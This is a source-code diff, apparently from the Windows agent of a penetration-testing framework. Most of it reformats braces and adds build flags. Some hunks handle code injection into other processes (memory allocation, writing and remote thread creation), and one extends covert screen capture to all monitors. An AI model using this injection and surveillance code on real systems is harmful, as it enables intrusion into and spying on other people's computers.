if (pSsInfo) { if (pSsInfo)
{
free(pSsInfo); free(pSsInfo);
} }
if (scManager && pCloseServiceHandle) { if (scManager && pCloseServiceHandle)
{
pCloseServiceHandle(scManager); pCloseServiceHandle(scManager);
} }
if (hAdvapi32) { if (hAdvapi32)
{
FreeLibrary(hAdvapi32); FreeLibrary(hAdvapi32);
} }
@ -373,23 +397,28 @@ DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pRespon
do do
{ {
dprintf("[EXTAPI SERVICE] Searching for QueryServiceConfigA"); dprintf("[EXTAPI SERVICE] Searching for QueryServiceConfigA");
if ((pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress(hAdvapi32, "QueryServiceConfigA")) == NULL) { if ((pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress(hAdvapi32, "QueryServiceConfigA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceConfigA in advapi32.dll."); BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceConfigA in advapi32.dll.");
} }
if (pQueryServiceConfigA(scService, NULL, 0, &cbBytesNeeded)) { if (pQueryServiceConfigA(scService, NULL, 0, &cbBytesNeeded))
{
BREAK_ON_ERROR("[EXTAPI SERVICE] This query should have failed"); BREAK_ON_ERROR("[EXTAPI SERVICE] This query should have failed");
} }
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) { if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unexpected error from QueryServiceConfigA"); BREAK_ON_ERROR("[EXTAPI SERVICE] Unexpected error from QueryServiceConfigA");
} }
if ((lpServiceConfig = (LPQUERY_SERVICE_CONFIGA)malloc(cbBytesNeeded)) == NULL) { if ((lpServiceConfig = (LPQUERY_SERVICE_CONFIGA)malloc(cbBytesNeeded)) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Out of memory"); BREAK_ON_ERROR("[EXTAPI SERVICE] Out of memory");
} }
if (!pQueryServiceConfigA(scService, lpServiceConfig, cbBytesNeeded, &cbBytesNeeded)) { if (!pQueryServiceConfigA(scService, lpServiceConfig, cbBytesNeeded, &cbBytesNeeded))
{
BREAK_ON_ERROR("[EXTAPI SERVICE] QueryServiceConfigA failed"); BREAK_ON_ERROR("[EXTAPI SERVICE] QueryServiceConfigA failed");
} }
@ -403,7 +432,8 @@ DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pRespon
} while (0); } while (0);
if (lpServiceConfig) { if (lpServiceConfig)
{
free(lpServiceConfig); free(lpServiceConfig);
} }
@ -431,32 +461,39 @@ DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse
do do
{ {
dprintf("[EXTAPI SERVICE] Searching for QueryServiceObjectSecurity"); dprintf("[EXTAPI SERVICE] Searching for QueryServiceObjectSecurity");
if ((pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress(hAdvapi32, "QueryServiceObjectSecurity")) == NULL) { if ((pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress(hAdvapi32, "QueryServiceObjectSecurity")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceObjectSecurity in advapi32.dll."); BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceObjectSecurity in advapi32.dll.");
} }
dprintf("[EXTAPI SERVICE] Searching for ConvertSecurityDescriptorToStringSecurityDescriptorA"); dprintf("[EXTAPI SERVICE] Searching for ConvertSecurityDescriptorToStringSecurityDescriptorA");
if ((pCSDTSSDA = (PCSDTSSDA)GetProcAddress(hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA")) == NULL) { if ((pCSDTSSDA = (PCSDTSSDA)GetProcAddress(hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate ConvertSecurityDescriptorToStringSecurityDescriptorA in advapi32.dll."); BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate ConvertSecurityDescriptorToStringSecurityDescriptorA in advapi32.dll.");
} }
if (pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)&pSecurityDescriptor, 0, &dwBytesNeeded)) { if (pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)&pSecurityDescriptor, 0, &dwBytesNeeded))
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Call should have failed"); BREAK_ON_ERROR("[EXTAPI SERVICE] Call should have failed");
} }
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) { if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unexpected error getting security"); BREAK_ON_ERROR("[EXTAPI SERVICE] Unexpected error getting security");
} }
if ((pSecurityDescriptor = (PSECURITY_DESCRIPTOR)malloc(dwBytesNeeded)) == NULL) { if ((pSecurityDescriptor = (PSECURITY_DESCRIPTOR)malloc(dwBytesNeeded)) == NULL)
{
BREAK_WITH_ERROR("[EXTAPI SERVICE] Out of memory", ERROR_OUTOFMEMORY); BREAK_WITH_ERROR("[EXTAPI SERVICE] Out of memory", ERROR_OUTOFMEMORY);
} }
if (!pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, pSecurityDescriptor, dwBytesNeeded, &dwBytesNeeded)) { if (!pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, pSecurityDescriptor, dwBytesNeeded, &dwBytesNeeded))
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to query security information for DACL_SECURITY_INFORMATION"); BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to query security information for DACL_SECURITY_INFORMATION");
} }
if (!pCSDTSSDA(pSecurityDescriptor, SDDL_REVISION_1, DACL_SECURITY_INFORMATION, &lpDaclString, NULL)) { if (!pCSDTSSDA(pSecurityDescriptor, SDDL_REVISION_1, DACL_SECURITY_INFORMATION, &lpDaclString, NULL))
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to get DACL string"); BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to get DACL string");
} }
@ -464,11 +501,13 @@ DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse
} while (0); } while (0);
if (lpDaclString) { if (lpDaclString)
{
LocalFree(lpDaclString); LocalFree(lpDaclString);
} }
if (pSecurityDescriptor) { if (pSecurityDescriptor)
{
free(pSecurityDescriptor); free(pSecurityDescriptor);
} }

@ -48,12 +48,15 @@ BOOL CALLBACK enumerate_windows_callback(HWND hWnd, LPARAM lParam)
do do
{ {
dprintf("[EXTAPI WINDOW] Getting window title %p", pState->pGetWindowTextA); dprintf("[EXTAPI WINDOW] Getting window title %p", pState->pGetWindowTextA);
if (pState->pGetWindowTextA(hWnd, windowTitle, MAX_WINDOW_TITLE) == 0) { if (pState->pGetWindowTextA(hWnd, windowTitle, MAX_WINDOW_TITLE) == 0)
{
dprintf("[EXTAPI WINDOW] Unable to get window title. Setting to <unknown>."); dprintf("[EXTAPI WINDOW] Unable to get window title. Setting to <unknown>.");
if (pState->bIncludeUnknown) { if (pState->bIncludeUnknown)
{
strncpy_s(windowTitle, MAX_WINDOW_TITLE, "<unknown>", MAX_WINDOW_TITLE - 1); strncpy_s(windowTitle, MAX_WINDOW_TITLE, "<unknown>", MAX_WINDOW_TITLE - 1);
} }
else { else
{
break; break;
} }
} }
@ -91,18 +94,21 @@ DWORD enumerate_windows(Packet *response, BOOL bIncludeUnknown, QWORD parentWind
do do
{ {
dprintf("[EXTAPI WINDOW] Loading user32.dll"); dprintf("[EXTAPI WINDOW] Loading user32.dll");
if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) { if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to load user32.dll"); BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to load user32.dll");
} }
dprintf("[EXTAPI WINDOW] Searching for GetWindowTextA"); dprintf("[EXTAPI WINDOW] Searching for GetWindowTextA");
if ((state.pGetWindowTextA = (PGETWINDOWTEXA)GetProcAddress(hUser32, "GetWindowTextA")) == NULL) { if ((state.pGetWindowTextA = (PGETWINDOWTEXA)GetProcAddress(hUser32, "GetWindowTextA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate GetWindowTextA in user32.dll"); BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate GetWindowTextA in user32.dll");
} }
dprintf("[EXTAPI WINDOW] Found GetWindowTextA %p", state.pGetWindowTextA); dprintf("[EXTAPI WINDOW] Found GetWindowTextA %p", state.pGetWindowTextA);
dprintf("[EXTAPI WINDOW] Searching for GetWindowThreadProcessId"); dprintf("[EXTAPI WINDOW] Searching for GetWindowThreadProcessId");
if ((state.pGetWindowThreadProcessId = (PGETWINDOWTHREADPROCESSID)GetProcAddress(hUser32, "GetWindowThreadProcessId")) == NULL) { if ((state.pGetWindowThreadProcessId = (PGETWINDOWTHREADPROCESSID)GetProcAddress(hUser32, "GetWindowThreadProcessId")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate GetWindowThreadProcessId in user32.dll"); BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate GetWindowThreadProcessId in user32.dll");
} }
@ -112,19 +118,22 @@ DWORD enumerate_windows(Packet *response, BOOL bIncludeUnknown, QWORD parentWind
state.bIncludeUnknown = bIncludeUnknown; state.bIncludeUnknown = bIncludeUnknown;
dprintf("[EXTAPI WINDOW] Searching for EnumChildWindows"); dprintf("[EXTAPI WINDOW] Searching for EnumChildWindows");
if ((pEnumChildWindows = (PENUMCHILDWINDOWS)GetProcAddress(hUser32, "EnumChildWindows")) == NULL) { if ((pEnumChildWindows = (PENUMCHILDWINDOWS)GetProcAddress(hUser32, "EnumChildWindows")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate EnumChildWindows in user32.dll"); BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate EnumChildWindows in user32.dll");
} }
dprintf("[EXTAPI WINDOW] Beginning enumeration of child windows with parent %u", parentWindow); dprintf("[EXTAPI WINDOW] Beginning enumeration of child windows with parent %u", parentWindow);
if (!pEnumChildWindows(parentWindow != 0 ? (HWND)parentWindow : NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state)) { if (!pEnumChildWindows(parentWindow != 0 ? (HWND)parentWindow : NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state))
{
BREAK_ON_ERROR("[EXTAPI WINDOW] Failed to enumerate child windows"); BREAK_ON_ERROR("[EXTAPI WINDOW] Failed to enumerate child windows");
} }
dwResult = ERROR_SUCCESS; dwResult = ERROR_SUCCESS;
} while (0); } while (0);
if (hUser32) { if (hUser32)
{
FreeLibrary(hUser32); FreeLibrary(hUser32);
} }
@ -149,7 +158,8 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
do do
{ {
if (!response) { if (!response)
{
dprintf("[EXTAPI WINDOW] Unable to create response packet"); dprintf("[EXTAPI WINDOW] Unable to create response packet");
dwResult = ERROR_OUTOFMEMORY; dwResult = ERROR_OUTOFMEMORY;
break; break;
@ -168,7 +178,8 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
} while (0); } while (0);
dprintf("[EXTAPI WINDOW] Transmitting response back to caller."); dprintf("[EXTAPI WINDOW] Transmitting response back to caller.");
if (response) { if (response)
{
packet_transmit_response(dwResult, remote, response); packet_transmit_response(dwResult, remote, response);
} }

File diff suppressed because it is too large Load Diff

@ -6,6 +6,7 @@
#include "./elevate/elevate.h" #include "./elevate/elevate.h"
#include "passwd.h" #include "passwd.h"
#include "fs.h" #include "fs.h"
#include "../../../common//arch/win/remote_thread.h"
#include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h" #include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h"
#include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" #include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h"

@ -1,4 +1,5 @@
#include "precomp.h" #include "precomp.h"
#include "../../../../../common/arch/win/remote_thread.h"
ULONG get_thread_register_value(LPCONTEXT context, LPCSTR name, ULONG get_thread_register_value(LPCONTEXT context, LPCSTR name,
DWORD size); DWORD size);
@ -89,9 +90,7 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet)
} }
// Create the thread in the process supplied // Create the thread in the process supplied
if (!(thread = CreateRemoteThread(process, NULL, 0, if (!(thread = create_remote_thread(process, 0, entryPoint, entryParam, createFlags, &threadId)))
(LPTHREAD_START_ROUTINE)entryPoint, entryParam, createFlags,
&threadId)))
{ {
result = GetLastError(); result = GetLastError();
break; break;

@ -1,7 +1,8 @@
#include "precomp.h" #include "precomp.h"
#include "../../../../../common/arch/win/remote_thread.h"
DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate, DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
LPVOID *buffer, DWORD length, DWORD prot); LPVOID *buffer, DWORD length, DWORD prot);
/* /*
* Executes a portion of code in the address space of the supplied process * Executes a portion of code in the address space of the supplied process
@ -10,7 +11,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
* FIXME: can-block * FIXME: can-block
*/ */
DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length, DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
LPVOID parameter, DWORD parameterLength, LPDWORD rv) LPVOID parameter, DWORD parameterLength, LPDWORD rv)
{ {
HANDLE thread = NULL; HANDLE thread = NULL;
LPVOID paramInProcess = (LPVOID)parameter; LPVOID paramInProcess = (LPVOID)parameter;
@ -23,25 +24,26 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
{ {
// Copy the code and parameter storage // Copy the code and parameter storage
if ((result = copy_memory_to_process(process, TRUE, &codeInProcess, if ((result = copy_memory_to_process(process, TRUE, &codeInProcess,
length, PAGE_EXECUTE_READ)) != ERROR_SUCCESS) length, PAGE_EXECUTE_READ)) != ERROR_SUCCESS)
{
break; break;
}
if ((result = copy_memory_to_process(process, TRUE, &paramInProcess, if ((result = copy_memory_to_process(process, TRUE, &paramInProcess,
parameterLength, PAGE_EXECUTE_READWRITE)) != ERROR_SUCCESS) parameterLength, PAGE_EXECUTE_READWRITE)) != ERROR_SUCCESS)
{
break; break;
}
// Create the thread in the target process // Create the thread in the target process
if (!(thread = CreateRemoteThread(process, NULL, 0, if (!(thread = create_remote_thread(process, 0, codeInProcess, paramInProcess, 0, &threadId)))
(LPTHREAD_START_ROUTINE)codeInProcess, paramInProcess,
0, &threadId)))
{ {
result = GetLastError(); result = GetLastError();
break; break;
} }
// Wait for the thread to terminate // Wait for the thread to terminate
while ((wait = WaitForSingleObjectEx(thread, 1000, while ((wait = WaitForSingleObjectEx(thread, 1000, TRUE)) != WAIT_OBJECT_0)
TRUE)) != WAIT_OBJECT_0)
{ {
if (wait == WAIT_FAILED) if (wait == WAIT_FAILED)
{ {
@ -51,7 +53,9 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
} }
if (rv) if (rv)
{
GetExitCodeThread(thread, rv); GetExitCodeThread(thread, rv);
}
// Free the memory in the process // Free the memory in the process
if ((!VirtualFreeEx(process, codeInProcess, 0, MEM_RELEASE)) || if ((!VirtualFreeEx(process, codeInProcess, 0, MEM_RELEASE)) ||
@ -60,13 +64,13 @@ DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
result = GetLastError(); result = GetLastError();
break; break;
} }
} while (0); } while (0);
// Close the thread handle if one was obtained // Close the thread handle if one was obtained
if (thread) if (thread)
{
CloseHandle(thread); CloseHandle(thread);
}
return result; return result;
} }
@ -86,8 +90,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
if (allocate) if (allocate)
{ {
// Allocate storage for the buffer // Allocate storage for the buffer
if (!(remoteBuffer = VirtualAllocEx(process, NULL, if (!(remoteBuffer = VirtualAllocEx(process, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
length, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
{ {
result = GetLastError(); result = GetLastError();
break; break;
@ -95,8 +98,7 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
} }
// Copy the memory from local to remote // Copy the memory from local to remote
if (!WriteProcessMemory(process, remoteBuffer, if (!WriteProcessMemory(process, remoteBuffer, *buffer, length, &written))
*buffer, length, &written))
{ {
result = GetLastError(); result = GetLastError();
break; break;
@ -107,14 +109,12 @@ DWORD copy_memory_to_process(HANDLE process, BOOLEAN allocate,
{ {
DWORD old; DWORD old;
if (!VirtualProtectEx(process, remoteBuffer, length, if (!VirtualProtectEx(process, remoteBuffer, length, prot, &old))
prot, &old))
{ {
result = GetLastError(); result = GetLastError();
break; break;
} }
} }
} while (0); } while (0);
// Update the buffer pointer // Update the buffer pointer

@ -72,9 +72,13 @@ DWORD screenshot( int quality, DWORD dwPipeName )
// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display. // If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
int xmetric = SM_CXVIRTUALSCREEN; int xmetric = SM_CXVIRTUALSCREEN;
int ymetric = SM_CYVIRTUALSCREEN; int ymetric = SM_CYVIRTUALSCREEN;
int xposition = SM_XVIRTUALSCREEN;
int yposition = SM_YVIRTUALSCREEN;
DWORD dwJpegSize = 0; DWORD dwJpegSize = 0;
int sx = 0; int sx = 0;
int sy = 0; int sy = 0;
int sxpos = 0;
int sypos = 0;
do do
{ {
@ -139,6 +143,15 @@ DWORD screenshot( int quality, DWORD dwPipeName )
sx = GetSystemMetrics( xmetric ); sx = GetSystemMetrics( xmetric );
sy = GetSystemMetrics( ymetric ); sy = GetSystemMetrics( ymetric );
// calculate the absolute virtual screen position
// prevent breaking functionality on <= NT 4.0
if (os.dwMajorVersion >= 4)
{
sxpos = GetSystemMetrics(xposition);
sypos = GetSystemMetrics(yposition);
}
// and create a bitmap // and create a bitmap
hbmp = CreateCompatibleBitmap( hdc, sx, sy ); hbmp = CreateCompatibleBitmap( hdc, sx, sy );
if( !hbmp ) if( !hbmp )
@ -149,7 +162,8 @@ DWORD screenshot( int quality, DWORD dwPipeName )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" ); BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" );
// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created // BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created
if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) ) // screenshot all available monitors by default
if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, sxpos, sypos, SRCCOPY ) )
BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" ); BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" );
// finally convert the BMP we just made into a JPEG... // finally convert the BMP we just made into a JPEG...

@ -446,6 +446,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</Lib> </Lib>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="..\..\source\common\arch\win\remote_thread.c" />
<ClCompile Include="..\..\source\common\args.c" /> <ClCompile Include="..\..\source\common\args.c" />
<ClCompile Include="..\..\source\common\base.c" /> <ClCompile Include="..\..\source\common\base.c" />
<ClCompile Include="..\..\source\common\arch\win\i386\base_dispatch.c" /> <ClCompile Include="..\..\source\common\arch\win\i386\base_dispatch.c" />
@ -465,6 +466,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ClCompile Include="..\..\source\common\zlib\zlib.c" /> <ClCompile Include="..\..\source\common\zlib\zlib.c" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\..\source\common\arch\win\remote_thread.h" />
<ClInclude Include="..\..\source\common\crypto\xor.h" /> <ClInclude Include="..\..\source\common\crypto\xor.h" />
<ClInclude Include="..\..\source\common\args.h" /> <ClInclude Include="..\..\source\common\args.h" />
<ClInclude Include="..\..\source\common\base.h" /> <ClInclude Include="..\..\source\common\base.h" />
@ -491,4 +493,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

@ -115,6 +115,7 @@
</PrecompiledHeader> </PrecompiledHeader>
<WarningLevel>Level3</WarningLevel> <WarningLevel>Level3</WarningLevel>
<TreatWarningAsError>true</TreatWarningAsError> <TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@ -144,6 +145,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</PrecompiledHeader> </PrecompiledHeader>
<WarningLevel>Level3</WarningLevel> <WarningLevel>Level3</WarningLevel>
<TreatWarningAsError>true</TreatWarningAsError> <TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@ -177,6 +179,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat> <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError> <TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@ -211,6 +214,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat> <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError> <TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@ -250,6 +254,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<BufferSecurityCheck>false</BufferSecurityCheck> <BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatWarningAsError>true</TreatWarningAsError> <TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@ -300,6 +305,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<BufferSecurityCheck>false</BufferSecurityCheck> <BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatWarningAsError>true</TreatWarningAsError> <TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@ -352,6 +358,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat> <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck> <BufferSecurityCheck>false</BufferSecurityCheck>
<TreatWarningAsError>true</TreatWarningAsError> <TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@ -402,6 +409,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat> <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck> <BufferSecurityCheck>false</BufferSecurityCheck>
<TreatWarningAsError>true</TreatWarningAsError> <TreatWarningAsError>true</TreatWarningAsError>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile> </ClCompile>
<Link> <Link>
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
@ -470,4 +478,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

@ -166,6 +166,7 @@
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed> <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile> <PrecompiledHeaderFile>precomp.h</PrecompiledHeaderFile>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors> <TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile> </ClCompile>
<ResourceCompile> <ResourceCompile>
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
